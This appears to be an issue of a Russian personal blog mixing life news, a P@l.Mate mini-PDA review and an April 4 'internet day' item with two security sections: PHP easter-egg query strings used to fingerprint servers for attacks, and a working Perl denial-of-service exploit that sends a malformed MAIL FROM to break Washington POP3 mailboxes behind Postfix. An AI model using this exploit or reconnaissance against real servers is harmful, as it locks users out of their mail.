Пишу, по большей части, про историю, свою жизнь и немного про программирование.

PHP eggs, Posfix+Washington POP = sux, P@l.Mate, 4.04

Я был замечен в ожидании чуда…
«Сегодня ночью»

Всем привет!

Жизнь чудная штука. В последний месяц я один раз чуть не погиб, в первый раз сходил на балет, в первый раз съел пиццу с анчоусами, попробовал осьминогов, выковыривал ртуть из-под паркета с паркетом вместе, мёрз, в очередной раз перекрашивался, увидел самого Гарри Поттера, потел, дрался с кошкой, двигал мебель, делал покупки, был в депрессии и занимался еще черт знает чем.

Этот месяц подходит к концу, приближается первое апреля. С чем я вас и поздравляю. Середина весны и минус четыре за окном. Большая просьба — первого апреля мне не писать, ибо все письма будут автоматически считаться розыгрышем и перемещаться в /dev/пень. :)))

Каждый, кто хоть раз видел результат работы функции phpinfo() в PHP, задумывался, наверное, как подгружаются картинки в сформированный HTML-документ. Для тех, кто об этом не задумывался, скажу. Картинка с логотипом PHP подгружается запросом ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 к тому же PHP-файлу, а логотип Zend — запросом ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42.

Отступление. Кстати, я посмотрел исходники и обнаружил, что запрос ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 выводит имена разработчиков PHP, а ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 — пасхальное яйцо, фото какого-то мужика с карандашами во рту.

Запрос работает применительно к любому PHP-файлу, вне зависимости есть там внутри функция phpinfo или нет. Эту замечательную особенность можно использовать.

Во-первых, с ее помощью можно узнать является ли страница результатом работы программы на PHP или, может быть, имеет PHP-включения, куда передаются параметры запроса.

Во-вторых, если администратор сервера запретил показ версии PHP в сигнатуре сервера, просматривая страницу с модулями, можно попробовать идентифицировать версию PHP с некоторой точностью.

При атаке на сервер иногда пригождается любая, даже самая незначительная, на первый взгляд, информация. При помощи этих «магических» запросов можно многое узнать о способе, выбранным разработчиком для представления динамического контента, что может в некоторых случаях оказаться полезным.

Вчера, разбирая протокол SMTP и экспериментируя с отправкой почты из telnet’а, я неожиданно наткнулся на одну интересную последовательность, которая приводит к весьма любопытным последствиям. Не знаю подвержены ли данной уязвимости другие системы, у меня она проявляется на конфигурации Postfix 20010525-alt2 — Washington POP3 v2000.70.

SMTP-сервер Postfix’a ограничивается минимальными проверками на синтаксис полей SMTP. Таким образом становится возможным формирование письма, содержащего в своем заголовке весьма странные символы. В таком виде письмо попадает в спул, где дожидается, когда его заберет POP или IMAP — сервер.

Вашингтонскому POP3-серверу, при попытке взять такое письмо становится дурно. Ниже — пример попытки забрать такое письмо с сервера.

[root@du bulk_mailer]# telnet xxx.xxx.xxx.xxx 110
Trying xxx.xxx.xxx.xxx...
Connected to thug.private (xxx.xxx.xxx.xxx).
Escape character is '^]'.
+OK POP3 thug v2000.70MdkRE server ready
USER ********
+OK User name accepted, password please
PASS ********
-ERR Unable to open user's INBOX
Connection closed by foreign host.

Необходимое условие — для использования этой уязвимости, письмо с вредоносными кодом должно быть первым в mail box’e. Эксплоит на Perl’e, использующий данную уязвимость приведен ниже.

use IO::Socket;
die "Usage: $0 <e-mail> <server>\n" unless @ARGV == 2;

$socket = IO::Socket::INET->new(PeerAddr => $ARGV[1],
                                PeerPort => 25,
                                Proto => "tcp",
                                Type => SOCK_STREAM);

print "<< ".<$socket>;
for ('HELO domain', "MAIL FROM: "."\10" x 1000, "RCPT TO: $ARGV[0]", 'DATA', '.')
{
        print $socket "$_\n";
        print ">> $_\n<< ".<$socket>;
};

close $socket;
P@l.Mate

Движимый отличной рекламой в Кулере органайзера со скромным названием «P@l.Mate». Я решил этот чудный девайс купить.

Если кто-то не читает Кулера, то я вкратце расскажу о чем идет речь. P@l.Mate позиционируется, как самый маленький в мире PDA с touch screen. PDA, в полном смысле этого слова он, конечно, не является, но что вы хотели за такую цену?

За размерами 45×10×70 мм скрываются функции часов, будильника, записной книжки, планировщика, калькулятора, гороскопа, плюс пара игр. Управление осуществляется шестью белыми кнопками на морде и прикосновениями к экрану. Ввод текстовой информации осуществляется через небольшую клавиатурку (на скриншоте ее плохо, но видно), куда надо тыкать специальным стилом, которое мы тут же окрестили «зубочисткой». Кстати, стило довольно просто потерять, так что в комплекте их целых три штуки.

Стоит это чудо 539 рублей и продается в корпусах трех цветов: красного, синего и серого.

Выдающейся особенностью органайзера является возможность забирать данные с другого miniPDA или, а вот это уже интересно, с персонального компьютера. Но и это меня бы ничем не удивило, если бы не способ, которым это все осуществляется.

В попе у «P@l.Mate» торчит пара из фотоэлемента и светодиода, когда «P@l.Mate» готов к обмену информации, передающая сторона моргает туда свой идентификатор и органайзер понимает с кем он сейчас будет иметь дело. Если это PC, светодиод не используется, так как у PC в стандартном комплекте нет ничего, что бы могло принимать его мигание, но, думаю, ничего не мешает собрать приставку, которая будет инициировать двухсторонний обмен с PC, прикинувшись другим miniPDA… впрочем, я отвлекся.

Для того, чтобы органайзер получил информацию ему в фотодиод надо чем-то помигать. Для этого с сайта «Mini-PDA.com» скачивается программа, которая умеет мигать экраном или клавиатурными лампочками, делая в нужных местах паузы и реверансы.

Ессно, никакого подтверждения приема нет, а коды, исправляющие ошибки, видимо из соображений стоимости, внедрять не стали. Поэтому в некоторых случаях, примерно в одном из 20—30 закачка информации заканчивается ошибкой. Но это, на самом деле, не страшно.

Брал я органайзер в подарок ████, она давно просила найти ей симпатичный блокнот, вот я и нашел... :) После нескольких дней совместного ;) использования могу поделиться впечатлениями.

Дарить P@l.Mate человеку с приличным размером запястья не стоит — в ладони органайзер будет теряться, зато тем, у кого зрение далеко не идеальное, особо опасаться не стоит — буквы и цифры на экране куда больше, чем, например, на наручных электронных часах.

Беда всех органайзеров и многих PDA — звук, не обошел стороной и эту модель. Ничего особо ужасного, но иногда раздражает. Звук можно отключить, но тут вас поджидает сюрприз номер раз — будильник и планировщик, при попытке напоминания, будут заходиться в беззвучном крике.

Сюрприз номер два — в игры играть довольно скучно. Из всего набора — «однорукий бандит» и «гонки» играть, не рискуя повредиться рассудком, можно только в «бандита», но и это занятие быстро приедается… Впрочем, может быть я просто не люблю такие игры. Вот, например, советский волк с корзиной (помните такого?) наводил на меня скуку.

Сюрприз номер три. Под Windows XP синхронизация не проходит — экран мигает, но органайзер жалуется на невозможность определить устройство. Впрочем, может быть мне просто не повезло.

Сюрприз номер четыре. Эта штука неожиданно хорошо выглядит и ей даже можно пользоваться! Это действительно сюрприз! Рекомендую однозначно. Сам я, как вы наверное уже поняли, покупал P@l.Mate в «Болеро» — есть доставка почтой или курьером, в последнем случае деньги можно отдать прямо курьеру, очень удобно!

Адрес самой популярной страницы в интернете знают все — это та, где написано «404 Not Found» ;). Номер этой ошибки можно, при наличии фантазии, записать, как 4.04, что можно расшифровать, как 4-е апреля.

Кому-то из создателей сайта «Bonjour» пришла в голову светлая идея организовать 4-го апреля чисто интернетовский праздник. Учитывая, что 4-е апреля — день покровителя интернета святого Исидора, эта мысль мне кажется совсем недурственной.

Предлагаю всем прочувствовать сию светлую идею и отпраздновать этот день, как полагается — виртуальными пьянками и киберпопойками. Всех с наступающим!

Новость прислал Alexander Katalymov aka Kauk.

Как водится — удачных выходных! Пишите в мыло и на форум.